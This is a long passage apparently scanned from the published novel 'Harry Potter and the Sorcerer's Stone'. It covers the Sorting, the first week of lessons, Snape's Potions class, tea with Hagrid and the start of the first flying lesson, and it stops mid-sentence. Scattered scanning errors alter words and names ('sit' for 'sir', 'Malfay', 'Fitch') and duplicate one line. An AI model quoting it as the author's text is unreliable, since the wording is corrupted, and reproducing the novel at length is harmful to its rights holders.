the hat finished its song. It +bowed to each of the four tables and then became quite still again. + +"So we've just got to try on the hat!" Ron whispered to Harry. "I'll +kill Fred, he was going on about wrestling a troll." + +Harry. smiled weakly. Yes, trying on the hat was a lot better than +having to do a spell, but he did wish they could have tried it on +without everyone watching. The hat seemed to be asking rather alot; +Harry didn't feel brave or quick-witted or any of it at the moment. If +only the hat had mentioned a house for people who felt a bit queasy, +that would have been the one for him. + +Professor McGonagall now stepped forward holding a long roll of +parchment. + +"When I call your name, you will put on the hat and sit on the stool to +be sorted," she said. "Abbott, Hannah!" + +A pink-faced girl with blonde pigtails stumbled out of line, put on the +hat, which fell right down over her eyes, and sat down. A moments pause +-- + +"HUFFLEPUFF!" shouted the hat. + +The table on the right cheered and clapped as Hannah went to sit down at +the Hufflepuff table. Harry saw the ghost of the Fat Friar waving +merrily at her. + +"Bones, Susan!" + +"HUFFLEPUFF!" shouted the hat again, and Susan scuttled off to sit next +to Hannah. + +"Boot, Terry!" + +"RAVENCLAW!" + +The table second from the left clapped this time; several Ravenclaws +stood up to shake hands with Terry as he joined them. + +" Brocklehurst, Mandy" went to Ravenclaw too, but "Brown, Lavender" +became the first new Gryffindor, and the table on the far left exploded +with cheers; Harry could see Ron's twin brothers catcalling. + +"Bulstrode, Millicent" then became a Slytherin. Perhaps it was Harry's +imagination, after all he'd heard about Slytherin, but he thought they +looked like an unpleasant lot. He was starting to feel definitely sick +now. He remembered being picked for teams during gym at his old school. +He had always been last to be chosen, not because he was no good, but +because no one wanted Dudley to think they liked him. + +"Finch-Fletchley, Justin!" + +"HUFFLEPUFF!" + +Sometimes, Harry noticed, the hat shouted out the house at once, but at +others it took a little while to decide. "Finnigan, Seamus," the +sandy-haired boy next to Harry in the line, sat on the stool for almost +a whole minute before the hat declared him a Gryffindor. + +"Granger, Hermione!" + +Hermione almost ran to the stool and jammed the hat eagerly on her head. + +"GRYFFINDOR!" shouted the hat. Ron groaned. + +A horrible thought struck Harry, as horrible thoughts always do when +you're very nervous. What if he wasn't chosen at all? What if he just +sat there with the hat over his eyes for ages, until Professor +McGonagall jerked it off his head and said there had obviously been a +mistake and he'd better get back on the train? + +When Neville Longbottom, the boy who kept losing his toad, was called, +he fell over on his way to the stool. The hat took a long time to decide +with Neville. When it finally shouted, "GRYFFINDOR," Neville ran off +still wearing it, and had to jog back amid gales of laughter to give it +to "MacDougal, Morag." + +Malfoy swaggered forward when his name was called and got his wish at +once: the hat had barely touched his head when it screamed, "SLYTHERIN!" + +Malfoy went to join his friends Crabbe and Goyle, looking pleased with +himself. + +There weren't many people left now. "Moon" "Nott" "Parkinson" then a +pair of twin girls, "Patil" and "Patil" then "Perks, Sally-Anne" and +then, at last -- "Potter, Harry!" + +As Harry stepped forward, whispers suddenly broke out like little +hissing fires all over the hall. + +"Potter, did she say?" + +The Harry Potter?" + +The last thing Harry saw before the hat dropped over his eyes was the +hall full of people craning to get a good look at him. Next second he +was looking at the black inside of the hat. He waited. + +Hmm," said a small voice in his ear. "Difficult. Very difficult. Plenty +of courage, I see. Not a bad mind either. There's talent, A my goodness, +yes -- and a nice thirst to prove yourself, now that's interesting.... +So where shall I put you?" + +Harry gripped the edges of the stool and thought, Not Slytherin, not +Slytherin. + +"Not Slytherin, eh?" said the small voice. "Are you sure? You could be +great, you know, it's all here in your head, and Slytherin will help you +on the way to greatness, no doubt about that -- no? Well, if you're sure +-- better be GRYFFINDOR!" + +Harry heard the hat shout the last word to the whole hall. He took off +the hat and walked shakily toward the Gryffindor table. He was so +relieved to have been chosen and not put in Slytherin, he hardly noticed +that he was getting the loudest cheer yet. Percy the Prefect got up and +shook his hand vigorously, while the Weasley twins yelled, "We got +Potter! We got Potter!" Harry sat down opposite the ghost in the ruff +he'd seen earlier. The ghost patted his arm, giving Harry the sudden, +horrible feeling he'd just plunged it into a bucket of ice-cold water. + +He could see the High Table properly now. At the end nearest him sat +Hagrid, who caught his eye and gave him the thumbs up. Harry grinned +back. And there, in the center of the High Table, in a large gold chair, +sat Albus Dumbledore. Harry recognized him at once from the card he'd +gotten out of the Chocolate Frog on the train. Dumbledore's silver hair +was the only thing in the whole hall that shone as brightly as the +ghosts. Harry spotted Professor Quirtell, too, the nervous young man +from the Leaky Cauldron. He was looking very peculiar in a large purple +turban. + +And now there were only three people left to be sorted. "Thomas, Dean," +a Black boy even taller than Ron, joined Harry at the Gryffindor table. +"Turpin, Lisa," became a Ravenclaw and then it was Ron's turn. He was +pale green by now. Harry crossed his fingers under the table and a +second later the hat had shouted, "GRYFFINDOR!" + +Harry clapped loudly with the rest as Ron collapsed into the chair next +to him. + +"Well done, Ron, excellent," said Percy Weasley Pompously across Harry +as "Zabini, Blaise," was made a Slytherin. Professor McGonagall rolled +up her scroll and took the Sorting Hat away. + +Harry looked down at his empty gold plate. He had only just realized how +hungry he was. The pumpkin pasties seemed ages ago. + +Albus Dumbledore had gotten to his feet. He was beaming at the students, +his arms opened wide, as if nothing could have pleased him more than to +see them all there. + +"Welcome," he said. "Welcome to a new year at Hogwarts! Before we begin +our banquet, I would like to say a few words. And here they are: Nitwit! +Blubber! Oddment! Tweak! + +"Thank you!" + +He sat back down. Everybody clapped and cheered. Harry didn't know +whether to laugh or not. + +"Is he -- a bit mad?" he asked Percy uncertainly. + +"Mad?" said Percy airily. "He's a genius! Best wizard in the world! But +he is a bit mad, yes. Potatoes, Harry?" + +Harry's mouth fell open. The dishes in front of him were now piled with +food. He had never seen so many things he liked to eat on one table: +roast beef, roast chicken, pork chops and lamb chops, sausages, bacon +and steak, boiled potatoes, roast potatoes, fries, Yorkshire pudding, +peas, carrots, gravy, ketchup, and, for some strange reason, peppermint +humbugs. + +The Dursleys had never exactly starved Harry, but he'd never been +allowed to eat as much as he liked. Dudley had always taken anything +that Harry really wanted, even if It made him sick. Harry piled his +plate with a bit of everything except the peppermints and began to eat. +It was all delicious. + +"That does look good," said the ghost in the ruff sadly, watching Harry +cut up his steak, + +"Can't you --?" + +I haven't eaten for nearly four hundred years," said the ghost. "I don't +need to, of course, but one does miss it. I don't think I've in troduced +myself? Sir Nicholas de Mimsy-Porpington at your service. Resident ghost +of Gryffindor Tower." + +"I know who you are!" said Ron suddenly. "My brothers told me about you +-- you're Nearly Headless Nick!" + +"I would prefer you to call me Sir Nicholas de Mimsy --" the ghost began +stiffly, but sandy-haired Seamus Finnigan interrupted. + +"Nearly Headless? How can you be nearly headless?" + +Sir Nicholas looked extremely miffed, as if their little chat wasn't +going at all the way he wanted. + +"Like this," he said irritably. He seized his left ear and pulled. His +whole head swung off his neck and fell onto his shoulder as if it was on +a hinge. Someone had obviously tried to behead him, but not done it +properly. Looking pleased at the stunned looks on their faces, Nearly +Headless Nick flipped his head back onto his neck, coughed, and said, +"So -- new Gryffindors! I hope you're going to help us win the house +championship this year? Gryffindors have never gone so long without +winning. Slytherins have got the cup six years in a row! The Bloody +Baron's becoming almost unbearable -- he's the Slytherin ghost." + +Harry looked over at the Slytherin table and saw a horrible ghost +sitting there, with blank staring eyes, a gaunt face, and robes stained +with silver blood. He was right next to Malfoy who, Harry was pleased to +see, didn't look too pleased with the seating arrangements. + +"How did he get covered in blood?" asked Seamus with great interest. + +"I've never asked," said Nearly Headless Nick delicately. + +When everyone had eaten as much as they could, the remains of the food +faded from the plates, leaving them sparkling clean as before. A moment +later the desserts appeared. Blocks of ice cream in every flavor you +could think of, apple pies, treacle tarts, chocolate eclairs and jam +doughnuts, trifle, strawberries, Jell-O, rice pudding -- " + +As Harry helped himself to a treacle tart, the talk turned to their +families. + +"I'm half-and-half," said Seamus. "Me dad's a Muggle. Mom didn't tell +him she was a witch 'til after they were married. Bit of a nasty shock +for him." + +The others laughed. + +"What about you, Neville?" said Ron. + +"Well, my gran brought me up and she's a witch," said Neville, "but the +family thought I was all- Muggle for ages. My Great Uncle Algie kept +trying to catch me off my guard and force some magic out of me -- he +pushed me off the end of Blackpool pier once, I nearly drowned -- but +nothing happened until I was eight. Great Uncle Algie came round for +dinner, and he was hanging me out of an upstairs window by the ankles +when my Great Auntie Enid offered him a meringue and he accidentally let +go. But I bounced -- all the way down the garden and into the road. They +were all really pleased, Gran was crying, she was so happy. And you +should have seen their faces when I got in here -- they thought I might +not be magic enough to come, you see. Great Uncle Algie was so pleased +he bought me my toad." + +On Harry's other side, Percy Weasley and Hermione were talking about +lessons ("I do hope they start right away, there's so much to learn, I'm +particularly interested in Transfiguration, you know, turning something +into something else, of course, it's supposed to be very difficult-"; +"You'll be starting small, just matches into needles and that sort of +thing -- "). + +Harry, who was starting to feel warm and sleepy, looked up at + +the High Table again. Hagrid was drinking deeply from his goblet. +Professor McGonagall was talking to Professor Dumbledore. Professor +Quirrell, in his absurd turban, was talking to a teacher with greasy +black hair, a hooked nose, and sallow skin. + +It happened very suddenly. The hook-nosed teacher looked past Quirrell's +turban straight into Harry's eyes -- and a sharp, hot pain shot across +the scar on Harry's forehead. + +"Ouch!" Harry clapped a hand to his head. + +"What is it?" asked Percy. + +"N-nothing." + +The pain had gone as quickly as it had come. Harder to shake off was the +feeling Harry had gotten from the teacher's look -- a feeling that he +didn't like Harry at all. + +"Who's that teacher talking to Professor Quirrell?" he asked Percy. + +"Oh, you know Quirrell already, do you? No wonder he's looking so +nervous, that's Professor Snape. He teaches Potions, but he doesn't want +to -- everyone knows he's after Quirrell's job. Knows an awful lot about +the Dark Arts, Snape." + +Harry watched Snape for a while, but Snape didn't look at him again. + +At last, the desserts too disappeared, and Professor Dumbledore got to +his feet again. The hall fell silent. + +"Ahern -- just a few more words now that we are all fed and watered. I +have a few start-of-term notices to give you. + +"First years should note that the forest on the grounds is forbidden to +all pupils. And a few of our older students would do well to remember +that as well." + +Dumbledore's twinkling eyes flashed in the direction of the Weasley +twins. + +"I have also been asked by Mr. Filch, the caretaker, to remind you all +that no magic should be used between classes in the corridors. + +"Quidditch trials will be held in the second week of the term. Anyone +interested in playing for their house teams should contact Madam Hooch. + +"And finally, I must tell you that this year, the third-floor corridor +on the right-hand side is out of bounds to everyone who does not wish to +die a very painful death." + +Harry laughed, but he was one of the few who did. + +"He's not serious?" he muttered to Percy. + +"Must be," said Percy, frowning at Dumbledore. "It's odd, because he +usually gives us a reason why we're not allowed to go somewhere -- the +forest's full of dangerous beasts, everyone knows that. I do think he +might have told us prefects, at least." + +"And now, before we go to bed, let us sing the school song!" cried +Dumbledore. Harry noticed that the other teachers' smiles had become +rather fixed. + +Dumbledore gave his wand a little flick, as if he was trying to get a +fly off the end, and a long golden ribbon flew out of it, which rose +high above the tables and twisted itself, snakelike, into words. + +"Everyone pick their favorite tune," said Dumbledore, "and off we go!" +And the school bellowed: + +"Hogwarts, Hogwarts, Hoggy Warty Hogwarts, + +Teach us something please, + +Whether we be old and bald + +Or young with scabby knees, + +Our heads could do with filling + +With some interesting stuff, + +For now they're bare and full of air, + +Dead flies and bits of fluff, + +So teach us things worth knowing, + +Bring back what we've forgot, + +just do your best, we'll do the rest, + +And learn until our brains all rot. + +Everybody finished the song at different times. At last, only the +Weasley twins were left singing along to a very slow funeral march. +Dumbledore conducted their last few lines with his wand and when they +had finished, he was one of those who clapped loudest. + +"Ah, music," he said, wiping his eyes. "A magic beyond all we do here! +And now, bedtime. Off you trot!" + +The Gryffindor first years followed Percy through the chattering crowds, +out of the Great Hall, and up the marble staircase. Harry's legs were +like lead again, but only because he was so tired and full of food. He +was too sleepy even to be surprised that the people in the portraits +along the corridors whispered and pointed as they passed, or that twice +Percy led them through doorways hidden behind sliding panels and hanging +tapestries. They climbed more staircases, yawning and dragging their +feet, and Harry was just wondering how much farther they had to go when +they came to a sudden halt. + +A bundle of walking sticks was floating in midair ahead of them, and as +Percy took a step toward them they started throwing themselves at him. + +"Peeves," Percy whispered to the first years. "A poltergeist." He raised +his voice, "Peeves -- show yourself" + +A loud, rude sound, like the air being let out of a balloon, answered. + +"Do you want me to go to the Bloody Baron?" + +There was a pop, and a little man with wicked, dark eyes and a wide +mouth appeared, floating cross- legged in the air, clutching the walking +sticks. + +"Oooooooh!" he said, with an evil cackle. "Ickle Firsties! What fun!" + +He swooped suddenly at them. They all ducked. + +"Go away, Peeves, or the Baron'll hear about this, I mean it!" barked +Percy. + +Peeves stuck out his tongue and vanished, dropping the walking sticks on +Neville's head. They heard him zooming away, rattling coats of armor as +he passed. + +"You want to watch out for Peeves," said Percy, as they set off again. +"The Bloody Baron's the only one who can control him, he won't even +listen to us prefects. Here we are." + +At the very end of the corridor hung a portrait of a very fat woman in a +pink silk dress. + +"Password?" she said. "Caput Draconis," said Percy, and the portrait +swung forward to reveal a round hole in the wall. They all scrambled +through it -- Neville needed a leg up -- and found themselves in the +Gryffindor common room, a cozy, round room full of squashy armchairs. + +Percy directed the girls through one door to their dormitory and the +boys through another. At the top of a spiral staircase -- they were +obviously in one of the towers -- they found their beds at last: five +four-posters hung with deep red, velvet curtains. Their trunks had +already been brought up. Too tired to talk much, they pulled on their +pajamas and fell into bed. + +" Great food, isn't it?" Ron muttered to Harry through the hangings. +"Get off, Scabbers! He's chewing my sheets." + +Harry was going to ask Ron if he'd had any of the treacle tart, but he +fell asleep almost at once. + +Perhaps Harry had eaten a bit too much, because he had a very strange +dream. He was wearing Professor Quirrell's turban, which kept talking to +him, telling him he must transfer to Slytherin at once, because it was +his destiny. Harry told the turban he didn't want to be in Slytherin; it +got heavier and heavier; he tried to pull it off but it tightened +painfully -- and there was Malfoy, laughing at him as he struggled with +it -then Malfoy turned into the hook-nosed teacher, Snape, whose laugh +became high and cold -- there was a burst of green light and Harry woke, +sweating and shaking. + +He rolled over and fell asleep again, and when he woke next day, he +didn't remember the dream at all. + + +CHAPTER EIGHT + +THE POTIONS MASTER + +There, look." + +"Where?" + +"Next to the tall kid with the red hair." + +"Wearing the glasses?" + +"Did you see his face?" + +"Did you see his scar?" + +Whispers followed Harry from the moment he left his dormitory the next +day. People lining up outside classrooms stood on tiptoe to get a look +at him, or doubled back to pass him in the corridors again, staring. +Harry wished they wouldn't, because he was trying to concentrate on +finding his way to classes. + +There were a hundred and forty-two staircases at Hogwarts: wide, +sweeping ones; narrow, rickety ones; some that led somewhere different +on a Friday; some with a vanishing step halfway up that you had to +remember to jump. Then there were doors that wouldn't open unless you +asked politely, or tickled them in exactly the right place, and doors +that weren't really doors at all, but solid walls just pretending. It +was also very hard to remember where anything was, because it all seemed +to move around a lot. The people in the portraits kept going to visit +each other, and Harry was sure the coats of armor could walk. + +The ghosts didn't help, either. It was always a nasty shock when one of +them glided suddenly through a door you were trying to open. Nearly +Headless Nick was always happy to point new Gryffindors in the right +direction, but Peeves the Poltergeist was worth two locked doors and a +trick staircase if you met him when you were late for class. He would +drop wastepaper baskets on your head, pull rugs from under your feet, +pelt you with bits of chalk, or sneak up behind you, invisible, grab +your nose, and screech, "GOT YOUR CONK!" + +Even worse than Peeves, if that was possible, was the caretaker, Argus +Filch. Harry and Ron managed to get on the wrong side of him on their +very first morning. Filch found them trying to force their way through a +door that unluckily turned out to be the entrance to the out-of-bounds +corridor on the third floor. He wouldn't believe they were lost, was +sure they were trying to break into it on purpose, and was threatening +to lock them in the dungeons when they were rescued by Professor +Quirrell, who was passing. + +Filch owned a cat called Mrs. Norris, a scrawny, dust-colored creature +with bulging, lamp like eyes just like Filch's. She patrolled the +corridors alone. Break a rule in front of her, put just one toe out of +line, and she'd whisk off for Filch, who'd appear, wheezing, two seconds +later. Filch knew the secret passageways of the school better than +anyone (except perhaps the Weasley twins) and could pop up as suddenly +as any of the ghosts. The students all hated him, and it was the dearest +ambition of many to give Mrs. Norris a good kick. + +And then, once you had managed to find them, there were the classes +themselves. There was a lot more to magic, as Harry quickly found out, +than waving your wand and saying a few funny words. + +They had to study the night skies through their telescopes every +Wednesday at midnight and learn the names of different stars and the +movements of the planets. Three times a week they went out to the +greenhouses behind the castle to study Herbology, with a dumpy little +witch called Professor Sprout, where they learned how to take care of +all the strange plants and fungi, and found out what they were used for. + +Easily the most boring class was History of Magic, which was the only +one taught by a ghost. Professor Binns had been very old + +indeed when he had fallen asleep in front of the staff room fire and got +up next morning to teach, leaving his body behind him. Binns droned on +and on while they scribbled down names and dates, and got Emetic the +Evil and Uric the Oddball mixed up. + +Professor Flitwick, the Charms teacher, was a tiny little wizard who had +to stand on a pile of books to see over his desk. At the start of their +first class he took the roll call, and when he reached Harry's name he +gave an excited squeak and toppled out of sight. + +Professor McGonagall was again different. Harry had been quite right to +think she wasn't a teacher to cross. Strict and clever, she gave them a +talking-to the moment they sat down in her first class. + +"Transfiguration is some of the most complex and dangerous magic you +will learn at Hogwarts," she said. "Anyone messing around in my class +will leave and not come back. You have been warned." + +Then she changed her desk into a pig and back again. They were all very +impressed and couldn't wait to get started, but soon realized they +weren't going to be changing the furniture into animals for a long time. +After taking a lot of complicated notes, they were each given a match +and started trying to turn it into a needle. By the end of the lesson, +only Hermione Granger had made any difference to her match; Professor +McGonagall showed the class how it had gone all silver and pointy and +gave Hermione a rare smile. + +The class everyone had really been looking forward to was Defense +Against the Dark Arts, but Quirrell's lessons turned out to be a bit of +a joke. His classroom smelled strongly of garlic, which everyone said +was to ward off a vampire he'd met in Romania and was afraid would be +coming back to get him one of these days. His turban, he told them, had +been given to him by an African prince as a thank-you for getting rid of +a troublesome zombie, but they weren't sure they believed this story. +For one thing, when Seamus Finnigan asked eagerly to hear how Quirrell +had fought off the zombie, Quirrell went pink and started talking about +the weather; for another, they had noticed that a funny smell hung +around the turban, and the Weasley twins insisted that it was stuffed +full of garlic as well, so that Quirrell was protected wherever he went. + +Harry was very relieved to find out that he wasn't miles behind everyone +else. Lots of people had come from Muggle families and, like him, hadn't +had any idea that they were witches and wizards. There was so much to +learn that even people like Ron didn't have much of a head start. + +Friday was an important day for Harry and Ron. They finally managed to +find their way down to the Great Hall for breakfast without getting lost +once. + +"What have we got today?" Harry asked Ron as he poured sugar on his +porridge. + +"Double Potions with the Slytherins," said Ron. "Snape's Head of +Slytherin House. They say he always favors them -- we'll be able to see +if it's true." + +"Wish McGonagall favored us, " said Harry. Professor McGonagall was head +of Gryffindor House, but it hadn't stopped her from giving them a huge +pile of homework the day before. + +Just then, the mail arrived. Harry had gotten used to this by now, but +it had given him a bit of a shock on the first morning, when about a +hundred owls had suddenly streamed into the Great Hall during breakfast, +circling the tables until they saw their owners, and dropping letters +and packages onto their laps. + +Hedwig hadn't brought Harry anything so far. She sometimes flew in to +nibble his ear and have a bit of toast before going off to sleep in the +owlery with the other school owls. This morning, however, she fluttered +down between the marmalade and the sugar bowl and dropped a note onto +Harry's plate. Harry tore it open at once. It said, in a very untidy +scrawl: + + +Dear Harry, + +I know you get Friday afternoons off, so would you like to come and have +a cup of tea with me around three? + +I want to hear all about your first week. Send us an answer back with +Hedwig. + +Hagrid + + +Harry borrowed Ron's quill, scribbled Yes, please, see you later on the +back of the note, and sent Hedwig off again. + +It was lucky that Harry had tea with Hagrid to look forward to, because +the Potions lesson turned out to be the worst thing that had happened to +him so far. + +At the start-of-term banquet, Harry had gotten the idea that Professor +Snape disliked him. By the end of the first Potions lesson, he knew he'd +been wrong. Snape didn't dislike Harry -- he hated him. + +Potions lessons took place down in one of the dungeons. It was colder +here than up in the main castle, and would have been quite creepy enough +without the pickled animals floating in glass jars all around the walls. + +Snape, like Flitwick, started the class by taking the roll call, and +like Flitwick, he paused at Harry's name. + +"Ah, Yes," he said softly, "Harry Potter. Our new -- celebrity." + +Draco Malfoy and his friends Crabbe and Goyle sniggered behind their +hands. Snape finished calling the names and looked up at the class. His +eyes were black like Hagrid's, but they had none of Hagrid's warmth. +They were cold and empty and made you think of dark tunnels. + +"You are here to learn the subtle science and exact art of +potionmaking," he began. He spoke in barely more than a whisper, but +they caught every word -- like Professor McGonagall, Snape had y caught +every word -- like Professor McGonagall, Snape had the gift of keeping a +class silent without effort. "As there is little foolish wand-waving +here, many of you will hardly believe this is magic. I don't expect you +will really understand the beauty of the softly simmering cauldron with +its shimmering fumes, the delicate power of liquids that creep through +human veins, bewitching the mind, ensnaring the senses.... I can teach +you how to bottle fame, brew glory, even stopper death -- if you aren't +as big a bunch of dunderheads as I usually have to teach." + +More silence followed this little speech. Harry and Ron exchanged looks +with raised eyebrows. Hermione Granger was on the edge of her seat and +looked desperate to start proving that she wasn't a dunderhead. + +"Potter!" said Snape suddenly. "What would I get if I added powdered +root of asphodel to an infusion of wormwood?" + +Powdered root of what to an infusion of what? Harry glanced at Ron, who +looked as stumped as he was; Hermione's hand had shot into the air. + +"I don't know, sit," said Harry. + +Snape's lips curled into a sneer. + +"Tut, tut -- fame clearly isn't everything." + +He ignored Hermione's hand. + +"Let's try again. Potter, where would you look if I told you to find me +a bezoar?" + +Hermione stretched her hand as high into the air as it would go without +her leaving her seat, but Harry didn't have the faintest idea what a +bezoar was. He tried not to look at Malfoy, Crabbe, and Goyle, who were +shaking with laughter. + +"I don't know, sit." "Thought you wouldn't open a book before coming, +eh, Potter?" Harry forced himself to keep looking straight into those +cold eyes. He had looked through his books at the Dursleys', but did +Snape expect him to remember everything in One Thousand Magical Herbs +and Fungi? + +Snape was still ignoring Hermione's quivering hand. + +"What is the difference, Potter, between monkshood and wolfsbane?" + +At this, Hermione stood up, her hand stretching toward the dungeon +ceiling. + +"I don't know," said Harry quietly. "I think Hermione does, though, why +don't you try her?" + +A few people laughed; Harry caught Seamus's eye, and Seamus winked. +Snape, however, was not pleased. + +"Sit down," he snapped at Hermione. "For your information, Potter, +asphodel and wormwood make a sleeping potion so powerful it is known as +the Draught of Living Death. A bezoar is a stone taken from the stomach +of a goat and it will save you from most poisons. As for monkshood and +wolfsbane, they are the same plant, which also goes by the name of +aconite. Well? Why aren't you all copying that down?" + +There was a sudden rummaging for quills and parchment. Over the noise, +Snape said, "And a point will be taken from Gryffindor House for your +cheek, Potter." + +Things didn't improve for the Gryffindors as the Potions lesson +continued. Snape put them all into pairs and set them to mixing up a +simple potion to cure boils. He swept around in his long black cloak, +watching them weigh dried nettles and crush snake fangs, criticizing +almost everyone except Malfoy, whom he seemed to like. He was just +telling everyone to look at the perfect way Malfoy had stewed his horned +slugs when clouds of acid green smoke and a loud hissing filled the +dungeon. Neville had somehow managed to melt Seamus's cauldron into a +twisted blob, and their potion was seeping across the stone floor, +burning holes in people's shoes. Within seconds, the whole class was +standing on their stools while Neville, who had been drenched in the +potion when the cauldron collapsed, moaned in pain as angry red boils +sprang up all over his arms and legs. + +"Idiot boy!" snarled Snape, clearing the spilled potion away with one +wave of his wand. "I suppose you added the porcupine quills before +taking the cauldron off the fire?" + +Neville whimpered as boils started to pop up all over his nose. + +"Take him up to the hospital wing," Snape spat at Seamus. Then he +rounded on Harry and Ron, who had been working next to Neville. + +"You -- Potter -- why didn't you tell him not to add the quills? Thought +he'd make you look good if he got it wrong, did you? That's another +point you've lost for Gryffindor." + +This was so unfair that Harry opened his mouth to argue, but Ron kicked +him behind their cauldron. + +"Doi* push it," he muttered, "I've heard Snape can turn very nasty." + +As they climbed the steps out of the dungeon an hour later, Harry's mind +was racing and his spirits were low. He'd lost two points for Gryffindor +in his very first week -- why did Snape hate him so much? "Cheer up," +said Ron, "Snape's always taking points off Fred and George. Can I come +and meet Hagrid with you?" + +At five to three they left the castle and made their way across the +grounds. Hagrid lived in a small wooden house on the edge of the +forbidden forest. A crossbow and a pair of galoshes were outside the +front door. + +When Harry knocked they heard a frantic scrabbling from inside and +several booming barks. Then Hagrid's voice rang out, saying, "Back, Fang +-- back." + +Hagrid's big, hairy face appeared in the crack as he pulled the door +open. + +"Hang on," he said. "Back, Fang." + +He let them in, struggling to keep a hold on the collar of an enormous +black boarhound. + +There was only one room inside. Hams and pheasants were hanging from the +ceiling, a copper kettle was boiling on the open fire, and in the corner +stood a massive bed with a patchwork quilt over it. + +"Make yerselves at home," said Hagrid, letting go of Fang, who bounded +straight at Ron and started licking his ears. Like Hagrid, Fang was +clearly not as fierce as he looked. + +"This is Ron," Harry told Hagrid, who was pouring boiling water into a +large teapot and putting rock cakes onto a plate. + +"Another Weasley, eh?" said Hagrid, glancing at Ron's freckles. I spent +half me life chasin' yer twin brothers away from the forest." + +The rock cakes were shapeless lumps with raisins that almost broke their +teeth, but Harry and Ron pretended to be enjoying them as they told +Hagrid all about their first -lessons. Fang rested his head on Harry's +knee and drooled all over his robes. + +Harry and Ron were delighted to hear Hagrid call Fitch "that old git." + +"An' as fer that cat, Mrs. Norris, I'd like ter introduce her to Fang +sometime. D'yeh know, every time I go up ter the school, she follows me +everywhere? Can't get rid of her -- Fitch puts her up to it." + +Harry told Hagrid about Snape's lesson. Hagrid, like Ron, told Harry not +to worry about it, that Snape liked hardly any of the students. + +"But he seemed to really hate me." + +"Rubbish!" said Hagrid. "Why should he?" + +Yet Harry couldn't help thinking that Hagrid didn't quite meet his eyes +when he said that. + +"How's yer brother Charlie?" Hagrid asked Ron. "I liked him a lot -- +great with animals." + +Harry wondered if Hagrid had changed the subject on purpose. While Ron +told Hagrid all about Charlie's work with dragons, Harry picked up a +piece of paper that was lying on the table under the tea cozy. It was a +cutting from the Daily Prophet: + +GRINGOTTS BREAK-IN LATEST + +Investigations continue into the break-in at Gringotts on 31 July, +widely believed to be the work of Dark wizards or witches unknown. + +Gringotts goblins today insisted that nothing had been taken. The vault +that was searched had in fact been emptied the same day. + +"But we're not telling you what was in there, so keep your noses out if +you know what's good for you," said a Gringotts spokesgoblin this +afternoon. + +Harry remembered Ron telling him on the train that someone had tried to +rob Gringotts, but Ron hadn't mentioned the date. + +"Hagrid!" said Harry, "that Gringotts break-in happened on my birthday! +It might've been happening while we were there!" + +There was no doubt about it, Hagrid definitely didn't meet Harry's eyes +this time. He grunted and offered him another rock cake. Harry read the +story again. The vault that was searched had in fact been emptied +earlier that same day. Hagrid had emptied vault seven hundred and +thirteen, if you could call it emptying, taking out that grubby little +package. Had that been what the thieves were looking for? + +As Harry and Ron walked back to the castle for dinner, their pockets +weighed down with rock cakes they'd been too polite to refuse, Harry +thought that none of the lessons he'd had so far had given him as much +to think about as tea with Hagrid. Had Hagrid collected that package +just in time? Where was it now? And did Hagrid know something about +Snape that he didn't want to tell Harry? + + +CHAPTER NINE + +THE MIDNIGHT DUEL + +Harry had never believed he would meet a boy he hated more than Dudley, +but that was before he met Draco Malfoy. Still, first-year +Gryffindors only had Potions with the Slytherins, so they didn't have to +put up with Malfoy much. Or at least, they didn't until they spotted a +notice pinned up in the Gryffindor common room that made them all groan. +Flying lessons would be starting on Thursday -- and Gryffindor and +Slytherin would be learning together. + +"Typical," said Harry darkly. "Just what I always wanted. To make a fool +of myself on a broomstick in front of Malfoy." + +He had been looking forward to learning to fly more than anything else. + +"You don't know that you'll make a fool of yourself," said Ron +reasonably. "Anyway, I know Malfoy's always going on about how good he +is at Quidditch, but I bet that's all talk." + +Malfay certainly did talk about flying a lot. He complained loudly about +first years never getting on the house Quidditch teams and told long, +boastful stories that always seemed to end with him narrowly escaping +Muggles in helicopters. He wasn't the only one, though: the way Seamus +Finnigan told it, he'd spent most of his childhood zooming around the +countryside on his broomstick. Even Ron would tell anyone who'd listen +about the time he'd almost hit a hang glider on Charlie's old broom. +Everyone from wizarding families talked about Quidditch constantly. Ron +had already had a big argument with Dean Thomas, who shared their +dormitory, about soccer. Ron couldn't see what was exciting about a game +with only one ball where no one was allowed to fly. Harry had caught Ron +prodding Dean's poster of West Ham soccer team, trying to make the +players move. + +Neville had never been on a broomstick in his life, because his +grandmother had never let him near one. Privately, Harry felt she'd had +good reason, because Neville managed to have an extraordinary number of +accidents even with both feet on the ground. + +Hermione Granger was almost as nervous about flying as Neville was. This +was something you couldn't learn by heart out of a book -- not that she +hadn't tried. At breakfast on Thursday she bored them all stupid with +flying tips she'd gotten out of a library book called Quidditch Through +the Ages. Neville was hanging on to her every word, desperate for +anything that might help him hang on to his broomstick later, but +everybody else was very pleased when Hermione's lecture was interrupted +by the arrival of the mail. + +Harry hadn't had a single letter since Hagrid's note, something that +Malfoy had been quick to notice, of course. Malfoy's eagle owl was +always bringing him packages of sweets from home, which he opened +gloatingly at the Slytherin table. + +A barn owl brought Neville a small package from his grandmother. He +opened it excitedly and showed them a glass ball the size of a large +marble, which seemed to be full of white smoke. + +"It's a Remembrall!" he explained. "Gran knows I forget things -- this +tells you if there's something you've forgotten to do. Look, you hold it +tight like this and if it turns red -- oh..." His face fell, because the +Remembrall had suddenly glowed scarlet, + +"You've forgotten something..." + +Neville was trying to remember what he'd forgotten when Draco Malfoy, +who was passing the Gryffindor table, snatched the Remembrall out of his +hand. + +Harry and Ron jumped to their feet. They were half hoping for a reason +to fight Malfay, but Professor McGonagall, who could spot trouble +quicker than any teacher in the school, was there in a flash. + +"What's going on?" + +"Malfoy's got my Remembrall, Professor." + +Scowling, Malfoy quickly dropped the Remembrall back on the table. + +"Just looking," he said, and he sloped away with Crabbe and Goyle behind +him. + +At three-thirty that afternoon, Harry, Ron, and the other Gryffindors +hurried down the front steps onto the grounds for their first flying +lesson. It was a clear, breezy day, and the grass rippled under their +feet as they marched down the sloping lawns toward a smooth, flat lawn +on the opposite side of the grounds to the forbidden forest, whose trees +were swaying darkly in the distance. + +The Slytherins were already there, and so were twenty broomsticks lying +in neat lines on the ground. Harry had heard Fred and George Weasley +complain about the school brooms, saying that some of them started to +vibrate if you flew too high, or always flew slightly to the left. + +Their teacher, Madam Hooch, arrived. She had short, gray hair, and +yellow eyes like a hawk. + +"Well, what are you all waiting for?" she barked. "Everyone stand by a +broomstick. Come on, hurry up." + +Harry glanced down at his broom. It was old and some of the twigs stuck +out at odd angles. + +"Stick out your right hand over your broom," called Madam Hooch at the +front, "and say 'Up!"' + +"UPF everyone shouted. + +Harry's broom jumped into his hand at once, but it was one of the few +that did. Hermione Granger's had simply rolled over on the ground, and 